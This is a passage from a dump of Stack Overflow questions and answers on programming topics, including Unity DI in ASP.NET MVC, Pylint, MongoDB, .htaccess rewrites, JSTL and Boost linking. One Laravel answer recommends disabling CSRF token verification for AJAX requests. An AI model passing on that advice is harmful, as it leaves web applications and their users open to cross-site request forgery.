: IObjectState { if (_repositories == null) _repositories = new Dictionary&lt;string, object&gt;(); var type = typeof (TEntity).Name; if (_repositories.ContainsKey(type)) return (IRepositoryAsync&lt;TEntity&gt;) _repositories[type]; var repositoryType = typeof (Repository&lt;&gt;); _repositories.Add(type, Activator.CreateInstance(repositoryType.MakeGenericType(typeof (TEntity)), _dataContext, this)); return (IRepositoryAsync&lt;TEntity&gt;) _repositories[type]; } #region Unit of Work Transactions public void BeginTransaction() { _objectContext = ((IObjectContextAdapter) _dataContext).ObjectContext; if (_objectContext.Connection.State != ConnectionState.Open) { _objectContext.Connection.Open(); _transaction = _objectContext.Connection.BeginTransaction(); } } public bool Commit() { _transaction.Commit(); return true; } public void Rollback() { _transaction.Rollback(); ((DataContext)_dataContext).SyncObjectsStatePostCommit(); } #endregion // Uncomment, if rather have IRepositoryAsync&lt;TEntity&gt; IoC vs. Reflection Activation //public IRepositoryAsync&lt;TEntity&gt; RepositoryAsync&lt;TEntity&gt;() where TEntity : EntityBase //{ // return ServiceLocator.Current.GetInstance&lt;IRepositoryAsync&lt;TEntity&gt;&gt;(); //} } } </code></pre> <p><strong>Updated to include the SetResolver info from UnityMvcActivator.cs</strong></p> <pre><code>using System.Linq; using System.Web.Mvc; using Microsoft.Practices.Unity.Mvc; [assembly: WebActivatorEx.PreApplicationStartMethod(typeof(CARS.web.App_Start.UnityWebActivator), "Start")] namespace CARS.web.App_Start { /// &lt;summary&gt;Provides the bootstrapping for integrating Unity with ASP.NET MVC.&lt;/summary&gt; public static class UnityWebActivator { /// &lt;summary&gt;Integrates Unity when the application starts.&lt;/summary&gt; public static void Start() { var container = UnityConfig.GetConfiguredContainer(); FilterProviders.Providers.Remove(FilterProviders.Providers.OfType&lt;FilterAttributeFilterProvider&gt;().First()); FilterProviders.Providers.Add(new UnityFilterAttributeFilterProvider(container)); DependencyResolver.SetResolver(new UnityDependencyResolver(container)); // TODO: Uncomment if you want to use PerRequestLifetimeManager Microsoft.Web.Infrastructure.DynamicModuleHelper.DynamicModuleUtility.RegisterModule(typeof(UnityPerRequestHttpModule)); } } } </code></pre> <p>I have read/tried the following info/data and nothing has fixed it:</p> <p><a href="http://stackoverflow.com/questions/22846327/the-type-iuserstore1-does-not-have-an-accessible-constructor">The type IUserStore`1 does not have an accessible constructor</a></p> <p><a href="http://stackoverflow.com/questions/20023065/how-to-add-mvc-5-authentication-to-unity-ioc">How to add MVC 5 authentication to Unity IoC?</a></p> <p><a href="http://stackoverflow.com/questions/20489460/types-not-resolving-with-unity-mvc-5">Types not resolving with Unity [MVC 5]</a></p> <p>I have ready where one must write a ControllerFactory for Unity to be able to do this, but that seems quite a bit of work when all the examples I have found simply have the config registered, and the injection apparently happening on the controllers and other classes as need.</p> <p>And finally the error:</p> <pre><code>The following server error was encountered: An error occurred when trying to create a controller of type 'CARS.web.Controllers.AssetController'. Make sure that the controller has a parameterless public constructor.Details are: at System.Web.Mvc.DefaultControllerFactory.DefaultControllerActivator.Create(RequestContext requestContext, Type controllerType) at System.Web.Mvc.DefaultControllerFactory.CreateController(RequestContext requestContext, String controllerName) at System.Web.Mvc.MvcHandler.ProcessRequestInit(HttpContextBase httpContext, IController&amp; controller, IControllerFactory&amp; factory) at System.Web.Mvc.MvcHandler.BeginProcessRequest(HttpContextBase httpContext, AsyncCallback callback, Object state) at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionSte p.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously) </code></pre> <p>Thanks</p>
11429995	0	what is difference between creating webservice in http and https <p>I am working on creating rest service in java using Jersey. I am new at this, so I am a bit confused about what is the difference between creating services in http and https.</p> <p>Do we need to take care of creating services. Please guide properly.</p> <p>Tutorial I followed for creating service is <a href="http://www.vogella.com/articles/REST/article.html" rel="nofollow">Click here for tutorial link</a></p>
22235021	1	How to avoid Pylint warnings for constructor of inherited class in Python 3? <p>In Python 3, I have the following code:</p> <pre><code>class A: def __init__(self): pass class B(A): def __init__(self): super().__init__() </code></pre> <p>This yields the Pylint warning:</p> <blockquote> <ul> <li>Old-style class defined. (old-style-class)</li> <li>Use of super on an old style class (super-on-old-class)</li> </ul> </blockquote> <p>In my understanding, in Python 3 there does not exist an old-style class anymore and this code is OK.</p> <p>Even if I explicitly use new-style classes with this code</p> <pre><code>class A(object): def __init__(self): pass class B(A): def __init__(self): super().__init__() </code></pre> <p>I get Pylint warning because of the different syntax to call the parent constructor in Python 3:</p> <blockquote> <ul> <li>Missing argument to super() (missing-super-argument)</li> </ul> </blockquote> <p>So, how can I tell Pylint that I want to check Python 3 code to avoid these messages (without disabling the Pylint check)?</p>
26863454	0	 <p>Bootstrap datepicker (the first result from bootstrap datepickcer search) has a method to get the selected date.<br> <a href="http://bootstrap-datepicker.readthedocs.org/en/release/methods.html#getdate">http://bootstrap-datepicker.readthedocs.org/en/release/methods.html#getdate</a> </p> <p>getDate:<br> Returns a localized date object representing the internal date object of the first datepicker in the selection.<br> For multidate pickers, returns the latest date selected.</p> <pre><code>$('.datepicker').datepicker("getDate") </code></pre> <p>or</p> <pre><code>$('.datepicker').datepicker("getDate").valueOf() </code></pre>
31355478	0	 <p>If you need to do AJAX request, turn-off the <strong>VerifyCsrfToken</strong> middleware on your <strong>Kernel.php</strong> file.</p> <p>You can also edit your <strong>VerifyCsrfToken.php</strong> middleware file to exclude certain URLs like this way:</p> <p><code>/** * The URIs that should be excluded from CSRF verification. * * @var array */ protected $except = [ 'ajax/*', 'api/*', ];</code></p>
37400766	0	 <p>I sort of experienced the same problem and it let me to this SO post. I got sporadic SIGPIPE signals causing crashes of my fastcgi C program run by nginx. I tried to <code>signal(SIGPIPE, SIG_IGN);</code> without luck, it kept crashing.</p> <p>The reason was that nginx's temp dir had a permission problem. Fixing the permissions solved the SIGPIPE problem. <a href="http://derekneely.com/2009/06/nginx-failed-13-permission-denied-while-reading-upstream/" rel="nofollow">Details here on how to fix</a>.</p>
8134485	0	is IBM MQ Message Segmentation possible using JMS? <p>Is it possible to implement message segmentation using JMS as it is in using Native IBM API as <a href="http://www-01.ibm.com/support/docview.wss?uid=swg21405730" rel="nofollow">shown here</a>. One posible solution I have read is message grouping for JMS. is anyone using this an alternative solution to Segmentation, using JMS?</p>
4720366	0	 <p>In the shell, use db.collection.stats(). If a collection is capped:</p> <pre><code>&gt; db.my_collection.stats()["capped"] 1 </code></pre> <p>If a collection is not capped, the "capped" key will not be present.</p> <p>Below are example results from stats() for a capped collection:</p> <pre><code>&gt; db.my_coll.stats() { "ns" : "my_db.my_coll", "count" : 221, "size" : 318556, "avgObjSize" : 1441.4298642533936, "storageSize" : 1000192, "numExtents" : 1, "nindexes" : 0, "lastExtentSize" : 1000192, "paddingFactor" : 1, "flags" : 0, "totalIndexSize" : 0, "indexSizes" : { }, "capped" : 1, "max" : 2147483647, "ok" : 1 } </code></pre> <p>This is with MongoDB 1.7.4.</p>
27029136	0	Spring security ldap connection management <p>I am using spring security to authenticate users logging into a webapp. Authentication is currently done with ldap.</p> <p>Between my webapp and my ldap server lies a firewall. After 50 minutes of inactivity, the firewall flushes idle ldap connections.</p> <p>Spring security sometimes reuses existing connections, but not always. If it picks a connection closed by my firewall, the login will fail. </p> <p>The exception I find in my Tomcat log is the following.</p> <pre><code>org.springframework.ldap.ServiceUnavailableException: ldap:389; socket closed; nested exception is javax.naming.ServiceUnavailableException </code></pre> <p>More specifically, connections causing issues are the ones used for search requests. They're not systematically closed by the framework. Bind requests are always made on a new connection that's closed at the end of the request.</p> <p>In my app a search request is issued after a bind because of a custom LdapAuthoritiesPopulator granting access only to users with particular roles. I have verified the default LdapAuthoritiesPopulator issues search requests in the same manner.</p> <p>Is it normal for search request connections to stay open almost indefinitely? If it is, is there a way I can change the way spring security manages its connections?</p> <p>I'm also interested to know if there is a better way than using a custom LdapAuthoritiesPopulator to enforce a role constraint during authentication.</p> <p>My problem persists after trying easy upgrades:</p> <ul> <li>spring-security 3.1.7 (up from 3.1.2) </li> <li>spring-ldap-core 2.0.2 (up from 1.3.0) </li> <li>spring-ldap 1.3.1 (up from 1.3.0)</li> </ul> <p>Thanks.</p>
34179719	0	 <p>I came up with a similar solution, here's the general gist. (I've got a working example at the bottom too)</p> <pre><code>var year = [], yearWatch = 2015; Year[2015] = ["Jan", "Feb", "Sep", "Dec"]; Year[2016] = ["Apr", "May", "Oct", "Nov"]; disableFromVar = function() { $('#txtCalendar .month').removeClass('disabled'); $('#txtCalendar .month').each(function(i, v) { if (jQuery.inArray($(v).html(), Year[yearWatch]) &gt; -1) { $(v).addClass('disabled'); } }); } </code></pre> <p><a href="http://jsfiddle.net/link2twenty/5psu9tf8/" rel="nofollow">http://jsfiddle.net/link2twenty/5psu9tf8/</a></p>
33974711	0	 <p>Your thinking too hard, you should take it simple when programming. You don't need the type when calling a method, only do this when you declare it.</p>
10793101	0	 <p>In the "Guide to Active Record Associations", I recommend reading section 2.8: Choosing Between has_many :through and has_and_belongs_to_many</p> <blockquote> <p>The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don’t need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you’ll need to remember to create the joining table in the database).</p> <p>You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.</p> </blockquote> <p><a href="http://guides.rubyonrails.org/association_basics.html#choosing-between-has_many-through-and-has_and_belongs_to_many" rel="nofollow">http://guides.rubyonrails.org/association_basics.html#choosing-between-has_many-through-and-has_and_belongs_to_many</a></p>
24467231	0	friend url on wildcard subdomains htacces, not working <p>i have wildcard subdomains sets already and works fine, now i wish have friends url for the content in thats subdomains, the structure of my site is if the user type subdomain.maindomain.com and the .htaccess redirect to </p> <pre><code>blogs/index.php?user=subdomain </code></pre> <p>where blogs/index.php receive the param and show the correct content</p> <p>now i try to make the url function like this </p> <pre><code>subdomain.maindoamin.com/24/title-of-content </code></pre> <p>and then .htaccess must result </p> <pre><code>blogs/index.php?id_content=24&amp;title=title-of-content </code></pre> <p>i have the next .htaccess</p> <pre><code>Options +FollowSymLinks #this force to server the content always without www. RewriteEngine on RewriteCond %{HTTP_HOST} ^www\.(.*)$ RewriteRule ^(.*)$ http://%1/$1 [R=301] #this is to pass the subdomain like param and show the right content of the user RewriteCond %{HTTP_HOST} !^www\.misite\.com [NC] RewriteCond %{HTTP_HOST} ^([a-z0-9]+)\.misite\.com RewriteRule ^(.*)$ blogs/index.php?url=%1 [QSA,L] #the next line i can't make work to make nice url RewriteRule ^/(.*)/(.*)$ blogs/index.php?idP=$1&amp;name=$2 [L] </code></pre> <p>not working because when i make in index.php</p> <pre><code>echo $_SERVER['REQUEST_URI']; </code></pre> <p>don't show idP=24 show /24/title-of-content and i need $_GET(idP)</p> <p>i really apreciate some light on this stuff i am not expert on htaccess, thanks in advance to everybody. </p>
22030053	0	 <p>The problem is that your <code>ORDER BY</code> clause is not in the correct place in the query. It should be after the closing bracket that closes the WHERE clause:</p> <pre><code>CONSTRUCT { ?s ?p ?o } WHERE { GRAPH ?g { ?s ?p ?o } ?s &lt;http://www.w3.org/1999/02/22-rdf-syntax-ns#type&gt; &lt;http://lod.isi.edu/ontology/syllabus/Homework&gt; . ?s &lt;http://lod.isi.edu/ontology/syllabus/hasEventDate&gt; ?date . } ORDER BY ASC(?date) </code></pre> <p>Also note that several of the curly braces in your original query are, although not exactly wrong, superfluous.</p>
7971178	0	find out if text of JLabel exceeds label size <p>In Java when the text of the JLabel could not be displayed due to lack of space the text is truncated and "..." is added in the end.</p> <p>How can I easily find out if currently JLabel displays full text or the truncated?</p> <hr> <p>EDIT:</p> <p>I see that there is a way to find out the size of the text by using <code>FontMetrics</code>. However this solution doesn't fully answers the question. In the case the text of JLabel contains HTML decorations the <code>metrics.stringWidth()</code> would also calculate width of HTML tags. So it could happen that result of <code>metrics.stringWidth()</code> would be grater than JLabel's width but still the text would be displayed correctly.</p> <p>Is there a way know what decision took the JLabel itself while displaying the text. Has it decided to truncate the text or not.</p>
39472199	0	 <pre><code>Banner.frame = CGRect(x:0.0, y:self.view.frame.size.height - Banner.frame.size.height, width:Banner.frame.size.width, height:Banner.frame.size.height) </code></pre>
30093039	0	 <p>No need to join, use <code>LAG</code> function to track previous.<br> If you would like to know about Lag function. Please visit below link. <a href="http://www.techonthenet.com/oracle/functions/lag.php" rel="nofollow noreferrer">http://www.techonthenet.com/oracle/functions/lag.php</a>. I have taken below as input. <img src="https://i.stack.imgur.com/3CoAy.png" alt="enter image description here"></p> <p>and executed below query using lag which automatically tracks previous row.<br> <code> SELECT * FROM( SELECT ID,LAG(BALANCE) OVER (ORDER BY DATES) AS YESTERDAY_BALANCE,BALANCE AS TODAYS_BALANCE FROM ACCOUNTS) WHERE YESTERDAY_BALANCE IS NOT NULL;</code></p> <p>Output which I got is below. If you wont get data for today still it will display the row.<br> <img src="https://i.stack.imgur.com/0rRna.png" alt="enter image description here"></p>
3594733	0	 <p>The answer is correct in a certain context, for simple select statements over a DB link, you'll get this error:</p> <blockquote> <p><strong>ORA-22992</strong>: cannot use LOB locators selected from remote tables.</p> </blockquote> <p>From the errors manual:</p> <blockquote> <p><strong>Cause</strong>: A remote LOB column cannot be referenced.<br> <strong>Action</strong>: Remove references to LOBs in remote tables.</p> </blockquote> <p>I also had trouble finding definitive documentation on this...but we just ran into the same issue in our data warehouse. However, there are several work-arounds available, <a href="http://jiri.wordpress.com/2010/06/04/query-clob-across-db-link-with-in-simple-view/" rel="nofollow noreferrer">pulling the data over or creating a view</a> for example.</p>
23129832	0	Find command not working <pre><code>find . ! -name . -prune -name "*.dat" -type f -cmin +60 </code></pre> <p>The command is working in one directory but not in another directory even if the <code>.dat</code> files are there in both directories. Also, this command is working with other file extensions in both directories but not in this directory.</p>
22823794	0	How do you close JOptionPane after a radiobutton has been selected? <p>I am new to programming and just started last week, so all the java mumbojumbo is quite confusing to me. I was able to create a option pane for my BMI program that asks which unit system(metric/imperial) with radiobuttons and this determines which calculation to perform when finding the BMI. this all works fine except the first optionpane doesn't close when an option is selected, how do i make it close when an option is seleceted. I want the jpane with radiobuttons to close in the do statement.</p> <pre><code>package javaapplication21; import java.text.DecimalFormat; import javax.swing.*; import java.*; public class JavaApplication21 { public static void main(String[] args) { JPanel jPanel = new JPanel(); ButtonGroup group = new ButtonGroup(); JRadioButton metricButton = new JRadioButton("Metric"); metricButton.setActionCommand("Metric"); JRadioButton imperialButton = new JRadioButton("Imperial"); imperialButton.setActionCommand("Imperial"); group.add(metricButton); group.add(imperialButton); jPanel.add(metricButton); jPanel.add(imperialButton); JOptionPane.showOptionDialog(null, "Please select prefered units", "BMI Calculator", JOptionPane.DEFAULT_OPTION,JOptionPane.QUESTION_MESSAGE, null, new Object[] { metricButton, imperialButton}, null); DecimalFormat oneDigit = new DecimalFormat("#,##0.0"); double bodyMassIndex, weight, height; String unitsWeight = "-1", unitsHeight = "-1"; do{ if (metricButton.isSelected()){ unitsWeight = " in kg."; unitsHeight = " in meters"; } else if (imperialButton.isSelected()){ unitsWeight = " in lbs"; unitsHeight = " in inches"; } } while ("-1".equals(unitsWeight)); String weightInput = JOptionPane.showInputDialog("Please enter your weight" + unitsWeight); String heightInput = JOptionPane.showInputDialog("Please enter your height" + unitsHeight); if (metricButton.isSelected()){ height = Double.parseDouble(heightInput); weight = Double.parseDouble(weightInput); bodyMassIndex = weight / (height * height); System.out.println("Your Body Mass Index(BMI) is " + oneDigit.format(bodyMassIndex) + "kg/m^2"); if (bodyMassIndex &lt; 15) System.out.println("You are starving"); else if (bodyMassIndex &lt; 18.5) System.out.println("You are underweight"); else if (bodyMassIndex &lt; 25) System.out.println("You are healthy"); else if (bodyMassIndex &lt; 30) System.out.println("You are obese"); else if (bodyMassIndex &lt; 40) System.out.println("You are morbidly obese"); else System.out.println("You are at high risk of many health concerns"); } else if (imperialButton.isSelected()){ height = Double.parseDouble(heightInput); weight = Double.parseDouble(weightInput); bodyMassIndex = (weight * 703) / (height * height); System.out.println("Your Body Mass Index(BMI) is " + oneDigit.format(bodyMassIndex) + "kg/m^2"); if (bodyMassIndex &lt; 15) System.out.println("You are starving"); else if (bodyMassIndex &lt; 18.5) System.out.println("You are underweight"); else if (bodyMassIndex &lt; 25) System.out.println("You are healthy"); else if (bodyMassIndex &lt; 30) System.out.println("You are obese"); else if (bodyMassIndex &lt; 40) System.out.println("You are morbidly obese"); else System.out.println("No more big macs!"); } } } </code></pre>
22093549	0	Can I download extension from my existing opencart website <p>Sorry if my question is not good.</p> <p><strong>Question :</strong> I install revolution slider extension in my opencart website. Now I need that slider in an other website of opencart. Can I download that slider extension from my existing website.</p> <p><strong>Note :</strong> In simply I mean, I want to export extension from one website and import it into another website..</p>
22289419	0	 <pre><code>SELECT name, location, SUM(total_points) AS total_points FROM ( SELECT name, location, COALESCE(SUM(points), 0) AS total_points FROM players p LEFT JOIN games g ON p.name = g.player GROUP BY name, location UNION ALL SELECT name, location, COALESCE(SUM(points2), 0) FROM players p LEFT JOIN games g ON p.name = g.player2 GROUP BY name, location ) x GROUP BY name, location </code></pre> <p><a href="http://www.sqlfiddle.com/#!2/a0eb5/5" rel="nofollow">DEMO</a></p>
23811305	0	 <p>you can use <a href="http://www.cplusplus.com/reference/algorithm/replace/" rel="nofollow"><code>std::replace</code></a> </p> <pre><code>std::replace (test.begin(), test.end(), "bird", "book"); </code></pre>
30081195	0	running NN software with my own data <p>New with Matlab.</p> <p>When I try to load my own date using the NN pattern recognition app window, I can load the source data, but not the target (it is never on the drop down list). Both source and target are in the same directory. Source is 5000 observations with 400 vars per observation and target can take on 10 different values (recognizing digits). Any Ideas?</p>
35285501	0	Mouse Leaving the window alert Pop-Up--Moodle <p>I have developed an online exam using the Moodle software which is written in PHP. Now I want to restrict the person who is taking the test without being able to navigate to other tabs or other windows by generating a mouserover pop-up.</p> <p>Following is the I have a code for the alert pop-up when the user leaves the window:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>&lt;html&gt; &lt;head&gt; &lt;script type="text/javascript"&gt; function addEvent(obj, evt, fn) { if (obj.addEventListener) { obj.addEventListener(evt, fn, false); } else if (obj.attachEvent) { obj.attachEvent("on" + evt, fn); } } addEvent(window,"load",function (e) { addEvent(document, "mouseout", function (e) { e = e ? e : window.event; var from = e.relatedTarget || e.toElement; if (!from || from.nodeName == "HTML") { // stop your drag event here // for now we can just use an alert alert("Your Test will close in 10 secs unless you return to the page "); } }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt;&lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>Is there a possibility to restrict the user with this code and in that case where to append this code to the moodle's actual source code??</p> <p>Thanks.</p>
4387695	0	Getting equal symbol expected while using jstl <p>I am getting </p> <blockquote> <p>org.apache.jasper.JasperException: /WEB-INF/AllClientBatchDetails.jsp(54,103) equal symbol expected</p> </blockquote> <p>And here is the jsp</p> <pre><code>&lt;%@ page contentType="text/html;charset=UTF-8" language="java" import="java.util.*%&gt; &lt;%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %&gt; &lt;%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %&gt; &lt;%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %&gt; &lt;%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %&gt; &lt;html:html xhtml="true"&gt; &lt;head&gt; &lt;title&gt;&lt;bean:message key="progressReporter.successpage.title"/&gt;&lt;/title&gt; &lt;link rel="stylesheet" href="style.css"&gt; &lt;html:base/&gt; &lt;/head&gt; &lt;body&gt; &lt;c:choose&gt; &lt;c:when test="${empty batchProgressMetricsList}"&gt; &lt;font color=&lt;bean:message key="error.font.color" /&gt; size=&lt;bean:message key="error.font.size" /&gt;&gt; &lt;bean:message key="error.no.active.batch" /&gt; &lt;/font&gt; &lt;br/&gt; &lt;/c:when&gt; &lt;c:otherwise&gt; &lt;h4&gt;&lt;bean:message key="table.header" /&gt;&lt;/h4&gt; &lt;table border=&lt;bean:message key="table.border.size" /&gt;&gt; &lt;tr&gt; &lt;th&gt;&lt;bean:message key="table.client.id.header" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.total.session.used" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.total.time.elapsed" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.imnts.completed" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.imnts.remaining" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.cores.allocated" /&gt;&lt;/th&gt; &lt;th&gt;&lt;bean:message key="table.time.remaining" /&gt;&lt;/th&gt; &lt;/tr&gt; &lt;c:forEach var="aggregatedBatchProgressMetrics" items="${batchProgressMetricsList}"&gt; &lt;tr&gt; &lt;td class="tdcenter"&gt;${aggregatedBatchProgressMetrics["clientId"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${fn:substringBefore(aggregatedBatchProgressMetrics["sessionStats"]["sessionUsedTime"]/60000, '.')}mins${fn:substringBefore((aggregatedBatchProgressMetrics["sessionStats"]["sessionUsedTime"] % 60000)/1000, '.')}secs &lt;/td&gt; &lt;td class="tdcenter"&gt;${fn:substringBefore(aggregatedBatchProgressMetrics["sessionStats"]["totalElapsedTime"]/60000, '.')}mins${fn:substringBefore((aggregatedBatchProgressMetrics["sessionStats"]["totalElapsedTime"] % 60000)/1000, '.')}secs&lt;/td&gt; &lt;td class="tdcenter"&gt;${aggregatedBatchProgressMetrics["instrumentStats"]["totalImntsCompleted"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${aggregatedBatchProgressMetrics["instrumentStats"]["totalImntsRemaining"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${aggregatedBatchProgressMetrics["numberOfCores"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${fn:substringBefore(aggregatedBatchProgressMetrics["sessionStats"]["sessionRemainingTime"]/60000, '.')}mins${fn:substringBefore((aggregatedBatchProgressMetrics["sessionStats"]["sessionRemainingTime"] % 60000)/1000, '.')}secs&lt;/td&gt; &lt;br/&gt; &lt;table&gt; &lt;tr&gt; &lt;th&gt;session Id&lt;/th&gt; &lt;th&gt;taskId&lt;/th&gt; &lt;th&gt;task start time&lt;/th&gt; &lt;th&gt;task end time&lt;/th&gt; &lt;/tr&gt; ${aggregatedBatchProgressMetrics["batchMetricsList"][0]} ${aggregatedBatchProgressMetrics["batchMetricsList"][1]} ${aggregatedBatchProgressMetrics["batchMetricsList"][2]} &lt;c:forEach var="batchProgressMetrics" items="${aggregatedBatchProgressMetrics["batchMetricsList"]}"&gt; &lt;tr&gt; &lt;td class="tdcenter"&gt;${batchProgressMetrics["taskStats"]["sessionId"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${batchProgressMetrics["taskStats"]["taskId"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${batchProgressMetrics["taskStats"]["taskStartTime"]}&lt;/td&gt; &lt;td class="tdcenter"&gt;${batchProgressMetrics["taskStats"]["taskEndTime"]}&lt;/td&gt; &lt;/tr&gt; &lt;/c:forEach&gt; &lt;/table&gt; &lt;br/&gt; &lt;/tr&gt; &lt;/c:forEach&gt; &lt;/table&gt; &lt;/c:otherwise&gt; &lt;/c:choose&gt; &lt;html:link page="/ProgressReporterForm.jsp"&gt;Go Back&lt;/html:link&gt; &lt;/body&gt; &lt;/html:html&gt; </code></pre> <p>I have request attribute set to batchProgressMetricsList and its an array list of an object called. I have AggregatedBatchProgressMetrics. Inside <code>aggregatedBatchProgressMetrics</code> i have a method called <code>getBatchMetricsList</code> which return an arraylist of object called BatchProgressMetrics. If i run it without the nested <code>c:forEach</code> tag, it would just run fine, but if i include the nested one it just fails. Can somebody please help me?</p> <p>Thanks in advance. Almas</p>
7407194	0	 <p>This loops through all items of an ASP combobox:</p> <pre><code>DataTable dt = (DataTable)comboBox1.DataSource; for(int i = 0; i &lt; dt.Rows.Count; ++i) { string displayText = dt.Rows[i][comboBox1.DisplayMember].ToString(); string valueItem = dt.Rows[i][comboBox1.ValueMember].ToString(); } </code></pre>
14235394	0	Bluetooth connection with Android <p>In my App I need to connect a smartphone with an 4.0 low power Bluetooth-module. Then the module sends frequenly data to the phone.</p> <ul> <li>Do you know some good tutorials for programming Bluetooth connection with Android?</li> <li>Can you give me some links where the basics of Bluetooth are explained? (german if possible)</li> <li>How can I test it? (I have to programm the Bluetooth device too and it's not finished jet)</li> </ul>
35637885	0	 <p>Hyperlink tag doesn't have a close tag <code>&lt;/a&gt;</code>, if you want to close it make it like this:</p> <pre><code>&lt;a target="_blank" href="http://url.com" style="text-decoration: underline; color: #000001;"&gt; Call To Action &lt;img src="image/path/triangle.png" border="0" /&gt; &lt;/a&gt; </code></pre> <p>Reference:</p> <ul> <li><a href="https://www.w3.org/TR/html-markup/a.html" rel="nofollow">https://www.w3.org/TR/html-markup/a.html</a></li> <li><a href="https://www.w3.org/wiki/HTML/Elements/a" rel="nofollow">https://www.w3.org/wiki/HTML/Elements/a</a></li> </ul> <p>Also, I recommend you separate design from content.</p>
6005801	0	Setting up environment for C++/Boost libs (netbeans or eclipse) <p>I've followed so many tutorials now and I can't get this basic, fundamental thing right. I'm getting started with C++ and moving on from the standard intro stuff (after two books) and I'm working through "Beyond the C++ Standard Library ~ An Introduction to Boost" but I can't seem to get either Netbeans or Eclipse to compile and run my boost projects.</p> <p>I've looked at <a href="http://stackoverflow.com/questions/4293371/how-to-configure-boost-with-netbeans-6-9-on-ubuntu">How to configure Boost with Netbeans 6.9 on Ubuntu</a> <a href="http://www.fischerlaender.net/development/using-boost-c-libraries-with-gcc-g-under-windows" rel="nofollow">http://www.fischerlaender.net/development/using-boost-c-libraries-with-gcc-g-under-windows</a> and a few others but I can't seem to get it right. In Netbeans (my preference) I've gotten as far as specifying the additional include directories, and netbeans recognizes it to the extent where it provides auto completion when including anything from boost/* e.g #include is fine but when I try to compile it I get:</p> <pre><code>mkdir -p build/Debug/MinGW-Windows rm -f build/Debug/MinGW-Windows/main.o.d g++.exe -c -g -MMD -MP -MF build/Debug/MinGW-Windows/main.o.d -o build/Debug/MinGW-Windows/main.o main.cpp main.cpp:7:27: fatal error: boost/regex.hpp: No such file or directory compilation terminated. make[2]: *** [build/Debug/MinGW-Windows/main.o] Error 1 make[1]: *** [.build-conf] Error 2 make: *** [.build-impl] Error 2 make[2]: Leaving directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' make[1]: Leaving directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' </code></pre> <p>but I don't get why the file cannot be found... any help is much appreciated. <strong>UPDATE</strong> Set the include directory under Properties->C++ Compiler and chosen 32 bits as the architecture. The compile error's changed to :</p> <pre><code>"/bin/make" -f nbproject/Makefile-Debug.mk QMAKE= SUBPROJECTS= .build-conf make[1]: Entering directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' "/bin/make" -f nbproject/Makefile-Debug.mk dist/Debug/MinGW-Windows/helloboost.exe make[2]: Entering directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' mkdir -p build/Debug/MinGW-Windows rm -f build/Debug/MinGW-Windows/main.o.d g++.exe -m32 -c -g -I/C/Program\ Files\ \(x86\)/boost/boost_1_46_1 -MMD -MP -MF build/Debug/MinGW-Windows/main.o.d -o build/Debug/MinGW-Windows/main.o main.cpp mkdir -p dist/Debug/MinGW-Windows g++.exe -m32 -o dist/Debug/MinGW-Windows/helloboost build/Debug/MinGW-Windows/main.o build/Debug/MinGW-Windows/main.o: In function `cpp_regex_traits_char_layer': c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:366: undefined reference to `boost::re_detail::cpp_regex_traits_char_layer&lt;char&gt;::init()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/regex_raw_buffer.hpp:131: undefined reference to `boost::re_detail::raw_storage::resize(unsigned int)' build/Debug/MinGW-Windows/main.o: In function `save_state_init': c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/perl_matcher_non_recursive.hpp:107: undefined reference to `boost::re_detail::get_mem_block()' build/Debug/MinGW-Windows/main.o: In function `~save_state_init': c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/perl_matcher_non_recursive.hpp:115: undefined reference to `boost::re_detail::put_mem_block(void*)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/perl_matcher_common.hpp:206: undefined reference to `boost::re_detail::verify_options(unsigned int, boost::regex_constants::_match_flags)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/perl_matcher_non_recursive.hpp:1117: undefined reference to `boost::re_detail::put_mem_block(void*)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/pattern_except.hpp:75: undefined reference to `boost::re_detail::raise_runtime_error(std::runtime_error const&amp;)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_parser.hpp:218: undefined reference to `boost::regex_error::regex_error(std::string const&amp;, boost::regex_constants::error_type, int)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_parser.hpp:219: undefined reference to `boost::regex_error::raise() const' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_parser.hpp:218: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files 